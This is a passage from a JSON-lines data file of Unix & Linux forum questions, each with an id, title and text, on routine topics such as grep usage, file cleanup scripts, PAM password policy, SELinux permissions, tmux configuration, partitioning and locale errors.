can be found and invoked."} {"_id": "82990", "title": "How can I grep for this or that (2 things) in a file?", "text": "I have a file that has \"then\"'s and \"there\"'s. I can $ grep \"then \" x.x x and then some x and then some x and then some x and then some and I can $ grep \"there \" x.x If there is no blob none some will be created How can I search for both in one operation? I tried $ grep (then|there) x.x -bash: syntax error near unexpected token `(' and grep \"(then|there)\" x.x durrantm.../code # (Nothing)"} {"_id": "46139", "title": "Remove 50GB oldest files in busybox when used capacity reaches 95%", "text": "Ok i have requested a code here but initial i didn't ask to make it busybox compatible. My bad. I'm new to linux and coding. The code needs to do the following: > Delete 50GB of oldest data (dir with files) from a directory when the HD > reaches a capacity of 95%. The code they gave me is, that is not working with busybox: DIRS=\"a/ b/\" MAXDELBYTES=\"53687091200\" # 50GB DELBYTES=\"0\" find $DIRS -type f -printf \"%T@ %s %p\\n\" | sort -r -n | while read time bytes filename do rm -fv \"$filename\" DELBYTES=$((DELBYTES + bytes)) if [ $DELBYTES -ge $MAXDELBYTES ]; then break; fi done What is not working: * -printf (changed it to -print) * %T@ %s %p\\n (dont know what to change it to) * Do not know what else isn't working. I'm new to coding and linux. Now this need to be translated to busybox so it will work on my embed linux system. Also a cron command needs to be added so it runs every Friday. Thanks for your support!"} {"_id": "46138", "title": "Proxy software that will decide where to send requests for linux", "text": "Does anyone know of some proxy software that is easy to configure thus.... User makes a request Request is sent to clear internet. If website can not be found. i.e. is Blocked by ISP (China) then the same request is made to a VPN connection which is maintained."} {"_id": "46135", "title": "good Ubuntu/Debian distro for a development/coding VM?", "text": "I have a Windows laptop, but I like to use Linux as a development/coding environment. Currently I am currently running Ubuntu 12.04 as a guest OS with VirtualBox. Some of the issues with this setup are: * I need a lighter-weight distro - Ubuntu installs too many extraneous packages * I like to work in VirtualBox's \"seamless\" display mode - GNOME Terminal is the app I use the most. I'd like to find a window manager which gives me more vertical real estate. The GNOME desktop manager (the classic version) works pretty well, but I don't need the top menu bar or bottom task bar, and I could do with smaller title bars on windows. Any suggestions on windows manangers, configuring GNOME or other Debian/Ubuntu compatible distros?"} {"_id": "53907", "title": "syncing two maildirs", "text": "I have a server that I use to frequently get email from Google using `offlineimap`. the email is stored in a maildir format on this server. What tool can I use to sync this maildir with the local maildir that is on my latop? I've tried `getmail` but that doesn't have a two-way sync. `syncmaildir` gave me headaches (kept crashing, plus has some strange dependencies on gtk). `rsync` seems too brutal. I need a simple tool that can be used over ssh to get new emails from the server, update the flags (read, etc) and delete deleted messages. What have you guys used so far? What are the perks of your proposed tools?"} {"_id": "88399", "title": "How to generate signal interrupt on a file descriptor in Linux?", "text": "How can I generate a signal interrupt on a file descriptor in Linux? Motivation is to generate a interrupt in userland as we have in microcontrollers. I'll have file descriptor for I/O, and want to generate a interrupt whenever there will be a change in its status? Can someone tell me? If possible please give me example."} {"_id": "46132", "title": "Ubuntu password policy", "text": "I want to set the system-wide password policy on an Ubuntu 12.04 LTS server. Googling around, a lot of people point to this (very old) document: https://help.ubuntu.com/10.04/serverguide/user-management.html It says to edit the `/etc/pam.d/common-password` file and look for the `password required` line: password required pam_unix.so nullok obscure min=6 max=8 md5 To set the minimum password length, adjust the `min=` setting. However, on 12.04, my file looks like this (comments removed): password [success=1 default=ignore] pam_unix.so obscure sha512 password requisite pam_deny.so password required pam_permit.so Which line do I change? The one with `pam_unix.so`? Or the one with `password required`? Or is it now in some other file? There's nothing in that file's comments about setting the password policies."} {"_id": "46131", "title": "What does altering a file/directory mean?", "text": "From `man ntfsundelete` > Look for deleted files altered in the last two days > > > ntfsundelete /dev/hda1 -t 2d > I wonder what altering files/directories mean? 1. Does deleting some files/directories count as altering them? For example, if I created a file more than two days ago, and didn't change it until yesterday when I deleted. Will the command be able to recover it? 2. Does moving some files/directories from being under a directory to being under another directory count as altering them, even when the files/directories being moved have not been changed themselves? I am hoping to find a way to specify and undelete the directories (with files inside) that I deleted at once last time. Thanks!"} {"_id": "46130", "title": "allow webalizer in selinux (centos)", "text": "I roughly followed these instructions: http://library.linode.com/web- applications/analytics/webalizer/centos-5 to install and configure webalizer to run on several VirtualHosts. Unfortunately when i try and run: `webalizer -n site.net -o /var/www/webalizer /etc/httpd/logs/site.net- apache_log` I get: `Error: Can't open log file /etc/httpd/logs/site.net-apache_log` But after running: `echo 0 > /selinux/enforce` It works. How can i tell selinux to allow webalizer to run? _EDIT_ [root@web-01 logs]# ls -lZ -rw-r--r--. root root unconfined_u:object_r:httpd_log_t:s0 access_log -rw-r--r--. root root unconfined_u:object_r:httpd_log_t:s0 error_log -rw-r--r--. root root unconfined_u:object_r:httpd_log_t:s0 tt.net-access_log -rw-r--r--. root root unconfined_u:object_r:httpd_log_t:s0 tt.net-error_log -rw-r--r--. root root unconfined_u:object_r:httpd_log_t:s0 ck.tt.net-access_log -rw-r--r--. root root unconfined_u:object_r:httpd_log_t:s0 ck.tt.net-error_log . [root@web-01 ~]# service --status-all auditd (pid 1132) is running... [root@web-01 ~]# /opt/webalizerScript.sh Error: Can't open log file /etc/httpd/logs/tt.net-access_log Error: Can't open log file /etc/httpd/logs/ck.tt.net-access_log [root@web-01 ~]# audit2allow -w -a "} {"_id": "73623", "title": "Does sed write to the file or give a sample output", "text": "when using `sed` with a file like this sed 's/a/o' fruits it gives the necessary output to the terminal but it does not change the contents in the file. How do I permanently change the file with the above substitution?"} {"_id": "150175", "title": "Using bash's \"source\" command return error though it successfully read config file", "text": "I want my bash script to read parameters from config file. Here is what inside the script: #!/bin/bash source /home/myscript/conf/config.conf echo \"$username\" and below is my config.conf: username=\"jonas\" The output when I run the script: [user@machinename bin]$ . thescript : No such file or directoryonfig.conf : command not found jonas Here I am confused, though it successfully print \"jonas\", why is there error \"No such file or directory\" and \"command not found\"? Am I doing something wrong?"} {"_id": "97156", "title": "Gnome can't open Sound Mixer - No volume control GStreamer plugins and/or devices found", "text": "I'm trying to get sound output working on a VPS, but whenever I'm trying to open the gnome sound control panel as non-root, I'm getting the error \"No volume control GStreamer plugins and/or devices found.\" Now I found several forum topics concerning this question, but even the proposed \"sledgehammer\" method in those, namely setting /dev/snd chmod to 777, did not work for me. I also tried adding my user to the audio group to no avail. I'm kinda helpless, since it working with root indicates a permission problem, but setting the permissions to 777 should fix that, right? Is there maybe something I overlooked, any more permissions I may have to set or is it a different problem alltogether? Some data about the VPS: * OS: Debian 6.0 Squeeze * Kernel: 2.6.32-028stab107.2 If you need any more information, let me know."} {"_id": "147413", "title": "gpg: Bad signature", "text": "I'm trying to sign a public PGP key but am encountering a 'Bad signature' error: gpg --edit-key someone@somedomain.com ... gpg> sign ... You need a passphrase to unlock the secret key for user: \"My User \" 2048-bit RSA key, ID 12345678, created 2012-01-01 I enter my passphrase then get: gpg: checking created signature failed: Bad signature gpg: signing failed: Bad signature gpg: signing failed: Bad signature I've done some searching online but can only find old, unrelated posts or ones relating to smart cards, which I'm not using. I'm running gnupg 2.0.25-1 on an Arch Linux box. Any help gratefully received!"} {"_id": "19973", "title": "Is a file manager in Linux a necessity or a luxury?", "text": "I agree that this is a kind of a personal issue - to use a file manager or not in Linux, but I heard that it's also a bad practice to use a file manager especially for newbies because first of all they have to learn the shell and all file manipulations should be done from the shell. Is that true and do Linux users use file managers?"} {"_id": "19972", "title": "Convert gnu screen status line to tmux status line", "text": "I am using the following screen status line, configured in my screenrc: ![screen status](http://i.imgur.com/qztsh.png) I configured it using the following line: hardstatus alwayslastline hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{=kw}%?%-Lw%?%{r}(%{W}%n*%f %t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{B}%Y-%m-%d %{W}%c %{g}]' I did not create this theme, I don't remember where I found it, but I really like it. I am now converting my configuration to `tmux` and I can't seem to replicate this configuration in my `tmux.conf`. I got this far: set -g status-bg black set -g status-fg white set -g status-left '#[fg=green]#H' set-window-option -g window-status-current-attr bright set-window-option -g window-status-current-bg red Which produces this line: ![tmux status](http://i.imgur.com/wSvyi.png)] Please ignore the different hostname, it's on a different server What configuration can I use in `tmux` to produce a status line similar to the first one? Thank you!"} {"_id": "127525", "title": "Data transfer between Ubuntu and CentOS", "text": "How do I transfer data between Ubuntu and CentOS using LAN cable, in the same network? I tried installing Samba which did not go well in CentOS."} {"_id": "19970", "title": "How to replace a list of placeholders in a text file?", "text": "I have a text (configuration) file, but the program that reads the file unfortunately doesn't allow using any kind of variables. So I'd like to use a preprocessor that replaces a set of placeholders in the config file before passing it to the program. I can define the format of the variables any way I want (e.g. `\u00a7SOME_DIR`). If I had just a few variables, I would probably use `sed`: sed -e \"s*\u00a7SOME_DIR*$SOME_DIR*g\" my.conf | target_prog But the list of variables is pretty long, and it should be easy to configure - so I'd prefer to put the variables in a properties file like SOME_DIR=... OTHER_DIR=... ... and then call some_replace_tool my.properties my.conf | target_prog I'm looking for \"some_replace_tool\". Any ideas?"} {"_id": "102816", "title": "How do I make themes apply to windows as well as system elements?", "text": "I am using Linux Mint with Cinnamon. Whenever I install a theme, it changes the 'system' elements, like the menu and taskbar, but not the window borders or buttons or the like. I went on the 'Other Settings' tab in the 'Themes' window, but no options other than the ones that came with the system appear. Specifically, I want the Holo theme to be system-wide. Forgive me if this is a dumb question; I just started using Linux recently."} {"_id": "80598", "title": "ulimit & rlimit in Linux, are they the same thing?", "text": "I see people use the terms `ulimi`t & `rlimit` interchangeably, can I say they are referring to the same thing?"} {"_id": "16705", "title": "Find out what processes are writing to hard drive", "text": "On my Lenovo T400 and Ubuntu, the light for hard drive writing keeps flashing. I was wondering if in Linux it is possible to find out what processes are doing I/O to the hard drive? Just like by `top`, you can find out what processes are using most CPU and memory."} {"_id": "279", "title": "Is there a pbuilder-like environment for RedHat?", "text": "I would like to know if is there any utility like Debian's `pbuilder`, to build RPM packages on RedHat using a clean environment (`chroot`). I've found mach which has support for something like this but under a Debian environment, and doesn't support RHEL. I need something that runs on RHEL 5.5."} {"_id": "19979", "title": "Splitting giant files into a specific number of lines", "text": "I have a CSV that is 40 000 lines long. What is the simplest tool to read from line x to line y? I am sure there are more professional ways to do it but I would just like a bash script that works in the form of readFile --from 10 --to 20 so that I can process ten lines, then call it again and bring in ten more lines. I was considering just using an AWK script but can you do it even more simply with something like `cat`, `grep`, `tail` or `head`?"} {"_id": "80594", "title": "Trying to set keyboard layout using Xorg configuration but it's not working", "text": "I'm trying to set my HP Pavilion g6 keyboard layout to English(us) and Arabic(ara). I'm using Fedora 18, but followed Arch Wiki anyways. Here's my `90-keyboard-layout.conf` file : Section \"InputClass\" Identifier \"keyboard\" MatchIsKeyboard \"on\" MatchDevicePath \"/dev/input/event*\" Driver \"evdev\" Option \"XkbModel\" \"pc105\" Option \"XkbLayout\" \"us,ara(qwerty_digits)\" Option \"XkbVariant\" \"qwerty_digits,qwerty_digits\" Option \"XkbOptions\" \"grp:alt_shift_toggle\" EndSection I've entered `pc105` because I have no idea what's the corresponding `XkbModel` for my HP Pavilion g6 keyboard (looked in `/usr/share/X11/xkb/rules/xorg` but didn't find it). I have also this file `00-anaconda-keyboard.conf` which contains : #This file was generated by the Anaconda installer Section \"InputClass\" Identifier \"keyboard\" MatchIsKeyboard \"on\" Option \"XkbOptions\" \"terminate:ctrl_alt_bksp,\" EndSection Section \"ServerFlags\" Option \"DontZap\" \"false\" EndSection Here's my `setxkbmap -print`: xkb_keymap { xkb_keycodes { include \"evdev+aliases(qwerty)\" }; xkb_types { include \"complete\" }; xkb_compat { include \"complete\" }; xkb_symbols { include \"pc+us(qwerty_digits)+ara(qwerty_digits)(qwerty_digits):2+inet(evdev)+group(alt_shift_toggle)+terminate(ctrl_alt_bksp)\" }; xkb_geometry { include \"pc(pc104)\" }; }; What else is missing? Layout switching is not working at all so far."} {"_id": "80593", "title": "Linux Mint 15 Doesn't detect Windows with update-grub", "text": "I just installed Linux Mint 15, but `update-grub` doesn't detect Windows: $ sudo update-grub Found linux image: /boot/vmlinuz-3.8.0-19-generic Found initrd image: /boot/initrd.img-3.8.0-19-generic Found memtest86+ image: /boot/memtest86+.bin No volume groups found done Video showing Mint 15 (ubuntu raring) update-grub error/bug"} {"_id": "16700", "title": "What is the default shell for .sh in AIX?", "text": "I am fairly new to AIX machine. We would like to deploy some program into the AIX machine which is yet to come. We have a short experience in AIX machine and after login using putty, we felt the shell is very weird and some aspects compared to the Red Hat Linux we are using. The backspace is not functional, and some arrow key have weird behaviour too. Anyway, assume this is a healthy machine, I would like to ask, if we create a .sh file and execute it, what is the default shell for it? And what is the default shell after login?"} {"_id": "16703", "title": "Mandriva 2007 Cannot setup printer", "text": "I tried to use a printer that is shared by a Windows PC. When I try to Mandrive Control Center > Hardware > Set up printer, the window opens but there is no content. Only a window. Seems that **`system-config-printer`** package is not installed. I try to open Software Management > Look at instalable ... and select All search by name _system-config-printer_ but the search returns nothing. What should I do next to be able to use the printer?"} {"_id": "16702", "title": ".DELETE_ON_ERROR behavior with make and pipelines", "text": "The `.DELETE_ON_ERROR` target will tell make to delete a target if a rule fails. But this doesn't work for pipelines, because the exit status value `$?` holds the value of the last program in the pipeline. As an example, the following makefile will not delete the newly created file _foo_. .DELETE_ON_ERROR: foo: false | true > foo Is there a way to get make to consider the rule as having failed if any of the programs in the pipeline fail (i.e., if there's a non-zero value in any of the elements of the `$PIPESTATUS` array)?"} {"_id": "12019", "title": "Creating a new partition in empty space between 2 existing ext4 partitions", "text": "Output of `fdisk -l`: Disk /dev/sda: 640.1 GB, 640135028736 bytes 255 heads, 63 sectors/track, 77825 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x07f2837e Device Boot Start End Blocks Id System /dev/sda1 1 13 104391 de Dell Utility /dev/sda2 * 14 1926 15360000 7 HPFS/NTFS /dev/sda3 1926 27578 206055449+ 7 HPFS/NTFS /dev/sda4 27579 77826 403610625 5 Extended /dev/sda5 27579 52921 203561523+ 83 Linux /dev/sda6 59000 59972 7811072 82 Linux swap / Solaris /dev/sda7 59972 77826 143407104 83 Linux A few things to note: 1) There's around 50GB of unallocated space betweed sda5 and sda6. 2) sda5 is mounted at `/` on my Ubuntu install, and sda7 is mounted at `/home`. I want to install Fedora in the unallocated space by creating a 50GB ext4 partition. I would create only a single root partition in that space without modifying any partition around, and I'll take care of all the GRUB mess. My question is: Will creating an ext4 partition between sda5 and sda6 change the sdaX numbering of the swap and /home partitions? I guess yes. In any case, will it also change the UUID of any other partition? I'm asking this because I can see in my ubuntu fstab that the partitions are identified by their UUID. If I just create a partition in the unallocated space and install Fedora, will the UUIDs change of the surrounding drives so much that the drives won't auto- mount at Ubuntu startup? Any help would be appreciated. Thanks!"} {"_id": "88024", "title": "PDF viewer with reflow capabilities for linux?", "text": "Anyone know of a PDF viewer for linux that can reflow text on the fly? There are a few for android, and at least one for windows, but I haven't found any for Linux. **NOTE:** I'm doing this on a 1600x900 laptop. The resolution is not the problem, badly formatted PDFs with hard-to read wide columns is the issue I'm trying to get around."} {"_id": "12015", "title": "What is produced after using cat on an image?", "text": "Let's say one creates a file like so: touch myFile You enter some text in it with vim or whatever, and then use `cat myFile` to spit the contents out into the terminal. Now, what happens when I use cat on any image? Say, cat myPNG.png I just get a bunch of garbage. It just made me think about what the `cat` command is attempting to do, and where all of this \"garbage\" comes from. Just curious."} {"_id": "88029", "title": "IPTABLES chain need help for restriction", "text": "I have two network cards eth0:- 172.16.91.70 (External Zone) eth1:- 172.16.85.70 (Internal Zone) I have clients in my Internal Zone which can access the external network. The ping goes fine and can access external net. Now I want to restrict the access for the internal zone. The external zone connects to another network that is 172.16.81.0 and that connects to 172.16.79.0 Now I want my internal zone be able to access complete 172.16.91.0 network, drop packets from 81.0 network and access 79.0 network. But I also don't want it to access internet because the squid proxy server is in 81.0 network."} {"_id": "136793", "title": "Copying the newest files", "text": "We have a script running which picks up the report generated monthly on remote servers. I was trying to find a way to pick up the latest file from the remote servers only. Will find work in script or that's a bad practice? for host in \"${hosts[@]}\"; do scp \"$host\":\"$remote_path\" \"$local_target_dir\"/filename.\"$host\" done File format = servername_BBC-3.0_2014-06-04_164510_.txt"} {"_id": "12010", "title": "Why does installing Debian from DVD download many packages?", "text": "I know Debian is general purpose, so a Debian install could just as easily be a server as a desktop. It seems, however, that even with a DVD of disk1 from Debian, it is downloading a tremendous number of files from the network mirror. I would have thought a DVD would be enough to get a base desktop installation running. What am I missing here? Let me clarify: I chose \"SSH Server\" and \"Desktop Environment\" in tasksel. Is GNOME not a part of the primary installation DVD?"} {"_id": "52468", "title": "Identical mount points for two file systems when installing Linux", "text": "So, I'm going through Crunchbang's installer (very similar to Debian's), and am at the partitioning step. I chose the 'Guided - use entire disk and set up encrypted LVM' method (usually I do manual without encryption). It wiped my disk, and I set my encryption pass phrase. So now this is my current partition configuration LVM VG $HOSTNAME, LV root - 242.7 GB Linux device-mapper (line #1 242.7 GB f ext4 / LVM VG $HOSTNAME, LV swap_1 - 7.1 GB Linux device-mapper (line #1 7.1 GB f swap swap Encrypted volume (sda5_crypt) - 249.8 GB Linux device-mapper (cry #1 249.8 GB K lvm SCSI1 (0,0,0) (sda) - 250.1 GB ATA WDC WD2500BEKT-7 #1 primary 254.8 MB B F ext2 /boot #5 logical 249.8 GB f crypto (sda5_crypt) SCSI5 (0,0,0) (sdb) - 16.0 GB JetFlash Transcend 16GB #1 primary 16.0 GB B fat32 The last entry is obviously the USB drive I've booted from, but I'm including it for completeness. I may have inadvertently done something to it. When I try to write changes to disk, I get the following error message [!!] Partition disks Identical mount points for two file systems Two file systems are assigned the same mount point (/): LVM VG $HOSTNAME, LV root and SCSI1 (0,0,0), partition #5 (sda). Please correct this by changing mount points."} {"_id": "153776", "title": "Is it possible to configure dynamic loader for an executable", "text": "I am looking for a way to allow an executable to find its shared library, but in order to avoid conflict with any package that could use a different version of the same shared library I prefer to keep these libraries in a 'private path' (not /usr/lib). The possible ways seems : * embbeded rpath in the executable * set LD_LIBRARY_PATH when executable is started * add libraries path in ldconfig configuration in a ld.so.conf.d file rpath links target structure to the build, ld.so.conf.d configure path for the system, LD_LIBRARY_PATH need the caller process to be aware of it. So I wondering if it is possible to use ld.so.conf.d (or similar loader configuration) applied only for an executable ?"} {"_id": "153775", "title": "extract lines according to a particular column", "text": "I have a CSV file like CK,ck XYZ,xyz,xyzs ABC,abc,abcs PQR,pqr,pqrs LMN,lmn, IJK,ijk, I have to check if something is written in column 3 except whitespace, then display the whole line.the output will be: XYZ,xyz,xyzs ABC,abc,abcs PQR,pqr,pqrs"} {"_id": "42084", "title": "Clock skews on remote machines", "text": "I am performing some experiments on a network of about 10 remote Linux computers which are geographically scattered. I suspect some of them have clock skews but they are seen transiently (eg. once in a week or twice in a month). I was wondering if there exists some tools which could detect and quantify such clock skews. Also wondering if clock skew is the right term for what I am witnessing or could it be called clock synchronization."} {"_id": "153773", "title": "cat a directories files apending the file name to the row of text and removing the header row?", "text": "How can I cat a directories files apending the file name to the row of text and removing the header row? So as to only have 1 header row in the all.txt file."} {"_id": "64671", "title": "SUID permissions - Which is correct?", "text": "Trying to secure a Linux server and have little experience with SUID. After executing find / -perm +4000 many programs were discovered. I have seen conflicting advice here and hereon what should be enabled and not. SUID Enabled ` /bin/su /usr/bin/passwd /usr/bin/gpasswd /sbin/unix_chkpwd ` SUID Disabled ` /usr/bin/crontab /usr/bin/newgrp /bin/ping /bin/ping6 /bin/umount /bin/mount /usr/bin/chsh /usr/bin/chfn /usr/libexec/pt_chown /usr/bin/sudo /usr/bin/sudoedit /usr/bin/chage /usr/sbin/userhelper /usr/sbin/usernetctl /usr/sbin/suexec` UNSURE `/usr/libexec/openssh/ssh-keysign /sbin/pam_timestamp_check ` Server will host multiple sites with few Linux / SFTP users. What should change? Also, how should I test?"} {"_id": "114358", "title": "selecting a field when you cannot count from the start", "text": "I have a long file ( 20000+ lines) where each of the lines is a description of a book: book_number \"title of the book\" size type author_number Where the element in quotes is a string with quotes and the others are numbers, except for type which is a single word: 23446 Raising Steam 537724 EPUB 4 I want to extract all the size fields but using cut you cannot use negative numbers to count from the back of the result of splitting with `-d \" \"`: cut -d \" \" -f -2 books.txt I cannot count from the front as the books may have any number of spaces in the title (I did not make up this format, I would have used CSV or JSON which require quoting). Am I missing some option that allows using `cut`? What else could I use to get the second-before-last field with a one line solution?"} {"_id": "52460", "title": "What tool can preview console font?", "text": "I don't know about the console font format, for a normal truetype font, I could use gnome-font-viewer to preview it, but what about console font? If I don't switch back to another tty, and use setfont command, is there a way to view it in X?"} {"_id": "119867", "title": "How to burn iso to a CF card?", "text": "Slax Linux installation file is only available in .iso format. How to burn it to a Compact Flash card? It also uses KDE, I think GNOME 2 or MATE might be more light weight. I want to install it on a one board computer, namely a PC Engine ALIX board."} {"_id": "119866", "title": "How to search '(+1)' character substring in a string", "text": "I want to search for (+1) in a string (which is a GDG dataset name to confirm if it is a GDG) and want to get a binary answer if it has (+1) as part of the string or not. Can some one please help?"} {"_id": "17254", "title": "How to set up properly zram and swap", "text": "I'm configuring & compiling new 3.0 kernel. One of the goodies I planned to use for some time (by patching) that was merged into 3.0 is zram. Is it possible to set both hdd swap and zram swap so the zram is used first and only spilled pages are put into actual swap?"} {"_id": "17255", "title": "Is there a command to list all open displays on a machine?", "text": "When SSH'd locally into my computer (don't ask, it's a workaround), I can't start graphical applications without running: export DISPLAY=:0.0 If I run this first and then run a graphical application, things work out. If not, it doesn't work, there's no display to attach to. Is there a command for listing all available displays (ie: all possible values) on a machine?"} {"_id": "52466", "title": "Copy files with permission 200", "text": "I want to recursively copy a directory, preserving file attributes, which contains a directory tree including some files that have permission 200 (i.e. `\\--w-------`). The copy command `cp -ar sourcedirectory targetdirectory` skips those files, saying, for each one, something like this: cp: cannot open `sourcedirectory/foo/somefile.bar' for reading: Permission denied` **My question: without altering their permissions, how can I prevent the copy command from skipping those files?** _If you think I ought to use a utility other than`cp` in my copy command, please explain why._"} {"_id": "17257", "title": "Weight-based block IO control for VMs", "text": "I use KVM to manage my virtual machines. I am trying to limit the resources provided for VMs. I am able to limit the CPU and memory allocated for VMs using libvirt/cgroups. Now I want to control the disk time allotted for each VM by applying some weights. I looked at blkio control from cgroups. Since VM is just a Linux process, I will be able to use cgroups but I am not sure whether it will work for asynchronous IO too. If not, can someone suggest a good alternative solution?"} {"_id": "53739", "title": "How to parse options in a shell function to navigate multiple projects", "text": "I can use help with this bit of bash I am trying to write. The scripts purpose is to speed up my development while working with multiple projects. I labeled the parts that I have questions about in the code. # is there a way to persist this through working enviornments besides this? declare -x WORKING=`cat ~/.working` #alias p='builtin cd $WORKING && pwd && ls' alias pj='builtin cd $WORKING/public/javascripts && pwd && ls' function pp { echo `pwd` > ~/.working } # is there a way to close the scope of this function? function p { # how do I process flags here? # -f and -d etc. can exist but may not # either way I want $1 to be set to the first string if there # is one if [ -z \"$1\" ] then echo '*' builtin cd $WORKING && pwd && ls return fi BACK=`pwd` builtin cd $WORKING #f=`find . -iname \"$1\"` f=( `echo $(find . -type d -o -type f -iname \"$1\") | grep -v -E \"git|node\"` ) #echo ${f[1]} if [ -z \"${f[0]}\" ] then return fi if [ -z \"${f[1]}\" ] then # how can I write this as a switch? if [ -f ${f[0]} ] then vim ${f[0]} return fi if [ -d ${f[0]} ] then builtin cd ${f[0]} return fi else echo \"multiple found\" #for path in $f #do # sort files and dirs # sort dirs by path # sort files by path #done # display dirs one color # display files another color # offer choices # 1) open all files # 2) open a file # 3) cd to selected directory # 4) do nothing fi # nothing found builtin $BACK }"} {"_id": "63023", "title": "Tell tcpdump to skip custom header", "text": "I have an IP packet with x bytes of custom header coming in on an interface. Is there a way to tell `tcpdump` or `tshark` to ignore the first x bytes and decode and display the IP packet? Any pointers would be helpful; I don't want to write a custom discector"} {"_id": "53733", "title": "man gives the error about locale", "text": "I have $ locale LANG=en_GB.UTF-8 LC_CTYPE=ru_RU.UTF-8 LC_NUMERIC=en_GB.UTF-8 LC_TIME=en_GB.UTF-8 LC_COLLATE=ru_RU.UTF-8 LC_MONETARY=ru_RU.UTF-8 LC_MESSAGES=en_GB.UTF-8 LC_PAPER=ru_RU.UTF-8 LC_NAME=ru_RU.UTF-8 LC_ADDRESS=ru_RU.UTF-8 LC_TELEPHONE=ru_RU.UTF-8 LC_MEASUREMENT=ru_RU.UTF-8 LC_IDENTIFICATION=\"en_GB.UTF-8\" LC_ALL= $ locale -a C en_GB.utf8 POSIX ru_RU.utf8 But `man` gives the error: $ man man: can't set the locale; make sure $LC_* and $LANG are correct What manual page do you want? If I set the `LC_ALL`, the error disappears: $ LC_ALL=en_GB.UTF-8 man What manual page do you want? But I don't want to set `LC_ALL` because I set some `LC_` to the other locale. How to solve this problem with `man`?"} {"_id": "53730", "title": "Bash script for Angstrom", "text": "I have written a bash script to automate cross-compiling an OpenCV program: echo \"Compiling started for: $1\" if [[ $1 == *.c ]] then gcc -ggdb `pkg-config --cflags opencv` -o `basename $1 .c` $1 `pkg-config --libs opencv`; elif [[ $1 == *.cpp ]] then g++ -ggdb `pkg-config --cflags opencv` -o `basename $1 .cpp` $1 `pkg-config --libs opencv`; else echo \"Only c or c++ files\" fi echo \"Output: ${1%.*}\" But now I noticed that there does not exist a bashrc at the Angstrom distribution. So what can I do? Regards"} {"_id": "9252", "title": "Determining what process is bound to a port", "text": "I know that using the command: lsof -i TCP (or some variant of parameters with lsof) I can determine which process is bound to a particular port. This is useful say if I'm trying to start something that wants to bind to 8080 and some else is already using that port, but I don't know what. Is there an easy way to do this without using lsof? I spend time working on many systems and lsof is often not installed."} {"_id": "9253", "title": "Print specific Exif image data values with exiv2", "text": "How do I print the image Exif date with a tool like exiv2? My goal is to write the image year and month into separate variables. Do I really have to parse the output with regex or is there a alternative to something like this: exiv2 DSC_01234.NEF -ps | grep 'Image timestamp' | ...regex to parse the date"} {"_id": "53734", "title": "Find both regular files and directories", "text": "How can I tell ( if I can tell !) find to find files of both the directory and file type? find -type fd _It is like the heuristic dark ages up in here._"} {"_id": "149147", "title": "Resume from Suspend/Hibernate issues", "text": "I have a peculiar problem while trying to resume from both suspend and hibernate. I believe the problem to be within the kernel itself since I have tried different distros (Ubuntu, Suse, Mageia) on different kernel version (12,13,16) with different GPU drivers. Suspend works, if for a short time. If the machine is asleep for a long duration (shortest I've seen is 90 minutes but may be less) it will not resume. When I say won't resume I don't mean the usual power on but no screen, I mean the chassis fan LED will flash once and nothing will power up. In addition, neither the reset button nor holding the power button work. I have to physically cut the power, wait for the capacitors to discharge then power on. All of the suspends are issued from the shell (not GUI) using pm-suspend. I've tried the pm_trace method, looked into the logs and found a \"Magic number\" but there was no \"hash matches\" entry. I've tried adding ALL modules to `/etc/default/acpi-support` and the problem persists. It's almost as if the system clock is overwriting something. My system specs: Asus M4A78LT-LE mainboard with latest BIOS. ATI Radeon HD6790 GPU. AMD Phenom 2 X4 965 Processor **Update:** I now need to try a custom kernel as stated in this ubuntu reference to detect if the BIOS is jumping back into the kernel. To do this I need to modify the `arch/x86/kernel/acpi/wakeup_64.S` file to emit a series of system beeps. The problem, I do not know Assembler. I need this for the 3.13.0 kernel, which I know to work on my system, and targeted for AMD 64. If the problem is indeed the BIOS not jumping back, how might I correct it?"} {"_id": "46792", "title": "Cancel auto-fill in Emacs", "text": "When using Emacs (version 24.1 if that makes any difference), I would like to have a way to remove all the automatic line breaking inserted by the `auto- fill` minor mode. Disabling `auto-fill-mode` is enough to avoid inserting new automatic line breaks, but does nothing about cancelling the existing ones. I found a way to do what I want, but I wonder if it's the best way to go about it. I'm describing it here with the hope that it'll help explain my issue better: * `C-u 1000 C-x f`: Set the `current-fill-column` to an arbitrary large value. * `C-x h`: Select all text in buffer * `M-q`: Re-arrange line breaks according to the new `current-fill-column` value. If the value is large enough, this will emulate the behavior I'm looking for. * `M-x auto-fill-mode`: Disable Auto Fill mode. I'm relatively new to emacs, and I seriously wonder if this is a good way to go about it or whether there's a better way."} {"_id": "46791", "title": "x11vnc window manager", "text": "I am using `x11vnc` and started it so it created the X server by itself like this: x11vnc -localhost -rfbauth -create /root/.vnc/passwd But the VNC session created, does not have a window manager, just an `xterm` in the upper left corner. How can I specify one? By the way, is there a way to automatically stop the X-Server if I disconnect from `x11vnc`, so this essentially works as `X` on demand?"} {"_id": "149144", "title": "Configuring OpenVPN to use Firewalld instead of iptables on Centos 7", "text": "I need some help configuring OpenVPN on Centos 7 using `firewalld`. I used iptables on Centos 6.5 and only had to add the following lines to `/etc/sysconfig/iptables`: -A POSTROUTING -s \"10.0.0.0/24\" -o \"wlan0\" -j MASQUERADE -A FORWARD -p tcp -s 10.0.0.0/24 -d 0.0.0.0/0 -j ACCEPT run the command: echo 1 > /proc/sys/net/ipv4/ip_forward open port 443."} {"_id": "49569", "title": "Unique lines based on the first field", "text": "How can you find unique lines or duplicate lines in a file based on the content of the first field, or the first n characters ? The uniq command on OS X lacks the `-w` switch that is available under Linux: `-w, --check-chars=N : compare no more than N characters in lines`, which solves the problem. Can it be done without reimplementing `uniq` in awk ? The number of fields is not constant. I would like to use only default tools installed on OS X. I use Macports a lot, but in this case, I don't want to use them."} {"_id": "23179", "title": "How to \"send\" variable to sub-shell?", "text": "I run the following script: VAR=\"Test\" sh -c 'echo \"Hello $VAR\"' But I get : # ./test.sh Hello How can I \"send\" the variable `VAR` of my script to the shell created with `sh -c`?"} {"_id": "101353", "title": "What kind of support/options are there for switchable graphics on linux?", "text": "I've been trying to breath new life into my brothers Lenovo t400, but it has both integrated and discrete graphics (AMD and Intel respectively). When I install any form of Linux, both cards run, making the the whole thing burning hot. I've searched for answers, but most require some command line voodoo after every start; my brother isn't the most technically minded, so I am trying to make it as easy as possible for him. Also, most of what I've found hasn't been update for a few years, so I don't know if its still applicable. Has there been 